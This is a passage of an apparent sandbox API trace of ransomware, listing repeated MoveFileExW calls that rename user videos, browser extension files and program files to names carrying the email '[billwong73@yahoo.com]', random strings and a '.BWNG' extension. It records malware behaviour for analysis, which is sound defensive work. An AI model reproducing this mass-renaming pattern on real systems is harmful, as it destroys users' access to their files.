lpNewFileName="C:\\Users\\Public\\Music\\Sample Music\\[billwong73@yahoo.com].t0fblBbN-oJic9bMB.BWNG" (normalized: "c:\\users\\public\\music\\sample music\\[billwong73@yahoo.com].t0fblbbn-ojic9bmb.bwng"), dwFlags=0x1) returned 1 [0129.690] GetTickCount () returned 0x1167f6d [0129.690] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27164267517) returned 1 [0129.691] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Darwin" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\darwin"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].hTHkAJxx-8uKnNHyw.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].hthkajxx-8uknnhyw.bwng"), dwFlags=0x1) returned 1 [0129.692] GetTickCount () returned 0x1167f6d [0129.692] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27164422380) returned 1 [0129.692] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\EET" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\eet"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\[billwong73@yahoo.com].FDIKJylN-1gP6Hrpb.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\[billwong73@yahoo.com].fdikjyln-1gp6hrpb.bwng"), dwFlags=0x1) returned 1 [0129.694] GetTickCount () returned 0x1167f6d [0129.694] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27164597692) returned 1 [0129.694] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\Lord_Howe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\lord_howe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Australia\\[billwong73@yahoo.com].HdHUWO6f-B06Sa17z.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\australia\\[billwong73@yahoo.com].hdhuwo6f-b06sa17z.bwng"), dwFlags=0x1) returned 1 [0129.695] GetTickCount () returned 0x1167f6d [0129.695] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27164740468) returned 1 [0129.695] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\FjSlDeXav31ApLm.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\fjsldexav31aplm.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QXKck1G4fFrIbqKfN\\[billwong73@yahoo.com].mtJiFfRV-Xb0aZcYQ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\qxkck1g4ffribqkfn\\[billwong73@yahoo.com].mtjiffrv-xb0azcyq.bwng"), dwFlags=0x1) returned 1 [0129.697] GetTickCount () returned 0x1167f6d [0129.697] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27164911127) returned 1 [0129.697] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\7fvxf_9254Zwrw9C.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\7fvxf_9254zwrw9c.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].At1yeUvu-xh6y5HAi.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].at1yeuvu-xh6y5hai.bwng"), dwFlags=0x1) returned 1 [0129.699] GetTickCount () returned 0x1167f7d [0129.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27165089130) returned 1 [0129.699] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\wnFG.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\wnfg.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\y4kMgbm5POuiAP\\[billwong73@yahoo.com].nffOGj6w-zDl6DUtU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\y4kmgbm5pouiap\\[billwong73@yahoo.com].nffogj6w-zdl6dutu.bwng"), dwFlags=0x1) returned 1 [0129.700] GetTickCount () returned 0x1167f7d [0129.700] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27165221965) returned 1 [0129.700] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].ZtA1mf04-jgq67F0g.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\[billwong73@yahoo.com].zta1mf04-jgq67f0g.bwng"), dwFlags=0x1) returned 1 [0129.702] GetTickCount () returned 0x1167f7d [0129.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27165381436) returned 1 [0129.702] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\[billwong73@yahoo.com].d8DGdDKP-DJOiqAGl.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\[billwong73@yahoo.com].d8dgddkp-djoiqagl.bwng"), dwFlags=0x1) returned 1 [0129.703] GetTickCount () returned 0x1167f7d [0129.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27165552169) returned 1 [0129.704] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\[billwong73@yahoo.com].n7k8f8Gp-6I6zbgMF.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\[billwong73@yahoo.com].n7k8f8gp-6i6zbgmf.bwng"), dwFlags=0x1) returned 1 [0129.705] GetTickCount () returned 0x1167f7d [0129.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27165721487) returned 1 [0129.705] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\[billwong73@yahoo.com].nM0tGPRt-24rhotDU.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\hu\\[billwong73@yahoo.com].nm0tgprt-24rhotdu.bwng"), dwFlags=0x1) returned 1 [0129.706] GetTickCount () returned 0x1167f7d [0129.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27165870477) returned 1 [0129.707] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\[billwong73@yahoo.com].jWL05tCu-S05vLa0j.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ko\\[billwong73@yahoo.com].jwl05tcu-s05vla0j.bwng"), dwFlags=0x1) returned 1 [0129.708] GetTickCount () returned 0x1167f7d [0129.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27166026128) returned 1 [0129.708] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\[billwong73@yahoo.com].21xpatQ7-LB5PmAr6.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\no\\[billwong73@yahoo.com].21xpatq7-lb5pmar6.bwng"), dwFlags=0x1) returned 1 [0129.710] GetTickCount () returned 0x1167f7d [0129.710] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27166226161) returned 1 [0129.710] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\[billwong73@yahoo.com].6CILE6wM-hkIkcHtX.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\sv\\[billwong73@yahoo.com].6cile6wm-hkikchtx.bwng"), dwFlags=0x1) returned 1 [0129.799] GetTickCount () returned 0x1167fda [0129.799] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27175111744) returned 1 [0129.799] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_HK\\[billwong73@yahoo.com].aYdss3U6-hFes0gBj.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\zh_hk\\[billwong73@yahoo.com].aydss3u6-hfes0gbj.bwng"), dwFlags=0x1) returned 1 [0129.801] GetTickCount () returned 0x1167fda [0129.801] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27175297505) returned 1 [0129.801] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].Mv6pUdbZ-coOH58pr.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\images\\[billwong73@yahoo.com].mv6pudbz-cooh58pr.bwng"), dwFlags=0x1) returned 1 [0129.802] GetTickCount () returned 0x1167fda [0129.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27175460368) returned 1 [0129.803] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\[billwong73@yahoo.com].Z49d70ng-yB6l4Rc5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\[billwong73@yahoo.com].z49d70ng-yb6l4rc5.bwng"), dwFlags=0x1) returned 1 [0129.804] GetTickCount () returned 0x1167fda [0129.804] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27175636428) returned 1 [0129.804] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\[billwong73@yahoo.com].DsxQW096-1LbeYbVR.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\fil\\[billwong73@yahoo.com].dsxqw096-1lbeybvr.bwng"), dwFlags=0x1) returned 1 [0129.806] GetTickCount () returned 0x1167fda [0129.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27175814486) returned 1 [0129.806] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\[billwong73@yahoo.com].RJfA1Apl-FpZ5SXeD.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\lv\\[billwong73@yahoo.com].rjfa1apl-fpz5sxed.bwng"), dwFlags=0x1) returned 1 [0129.807] GetTickCount () returned 0x1167fda [0129.807] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27175959242) returned 1 [0129.808] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\[billwong73@yahoo.com].mXEWKtm0-Rypg42jZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\sr\\[billwong73@yahoo.com].mxewktm0-rypg42jz.bwng"), dwFlags=0x1) returned 1 [0129.809] GetTickCount () returned 0x1167fea [0129.809] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27176115156) returned 1 [0129.809] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\manifest.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\[billwong73@yahoo.com].hWquIhbE-0nR8Eoxd.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\[billwong73@yahoo.com].hwquihbe-0nr8eoxd.bwng"), dwFlags=0x1) returned 1 [0129.810] GetTickCount () returned 0x1167fea [0129.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27176252292) returned 1 [0129.811] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\[billwong73@yahoo.com].tlFvMtyu-oAWAIG9M.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\fi\\[billwong73@yahoo.com].tlfvmtyu-oawaig9m.bwng"), dwFlags=0x1) returned 1 [0129.812] GetTickCount () returned 0x1167fea [0129.812] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27176429260) returned 1 [0129.812] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\removed-files" (normalized: "c:\\program files (x86)\\mozilla firefox\\removed-files"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\[billwong73@yahoo.com].hom54Jg3-3BbmxOIH.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\[billwong73@yahoo.com].hom54jg3-3bbmxoih.bwng"), dwFlags=0x1) returned 1 [0129.814] GetTickCount () returned 0x1167fea [0129.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27176583063) returned 1 [0129.814] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\webapprt.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\webapprt.ini"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\[billwong73@yahoo.com].tE1AsmVq-LQ3Dkphe.BWNG" (normalized: "c:\\program files (x86)\\mozilla firefox\\webapprt\\[billwong73@yahoo.com].te1asmvq-lq3dkphe.bwng"), dwFlags=0x1) returned 1 [0129.888] GetTickCount () returned 0x1168038 [0129.888] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27184006849) returned 1 [0129.888] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\[billwong73@yahoo.com].1DmuyRC6-nPBej4eK.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\[billwong73@yahoo.com].1dmuyrc6-npbej4ek.bwng"), dwFlags=0x1) returned 1 [0129.890] GetTickCount () returned 0x1168038 [0129.890] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27184213457) returned 1 [0129.890] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\[billwong73@yahoo.com].bXWgglrQ-aDNl9S8d.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\sk\\[billwong73@yahoo.com].bxwgglrq-adnl9s8d.bwng"), dwFlags=0x1) returned 1 [0129.892] GetTickCount () returned 0x1168038 [0129.892] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27184378380) returned 1 [0129.892] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft.Office.InfoPath.targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft.office.infopath.targets"), lpNewFileName="C:\\Program Files (x86)\\MSBuild\\[billwong73@yahoo.com].4qDa8Qvg-csoBg3OC.BWNG" (normalized: "c:\\program files (x86)\\msbuild\\[billwong73@yahoo.com].4qda8qvg-csobg3oc.bwng"), dwFlags=0x1) returned 1 [0129.893] GetTickCount () returned 0x1168038 [0129.893] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27184548143) returned 1 [0129.894] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.EXCEL.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.excel.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].NnZBEBrZ-6KYXgcFv.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].nnzbebrz-6kyxgcfv.bwng"), dwFlags=0x1) returned 1 [0129.895] GetTickCount () returned 0x1168038 [0129.895] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=27184678797) returned 1 [0129.895] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Microsoft Help\\MS.MSPUB.DEV.14.1033.hxn" (normalized: "c:\\programdata\\microsoft help\\ms.mspub.dev.14.1033.hxn"), lpNewFileName="C:\\ProgramData\\Microsoft Help\\[billwong73@yahoo.com].nPiP6re2-YiprgaUT.BWNG" (normalized: "c:\\programdata\\microsoft help\\[billwong73@yahoo.com].npip6re2-yiprgaut.bwng"), dwFlags=0x1) returned 1 [0129.896] GetTickCount () returned 0x1168038 [0129.896] 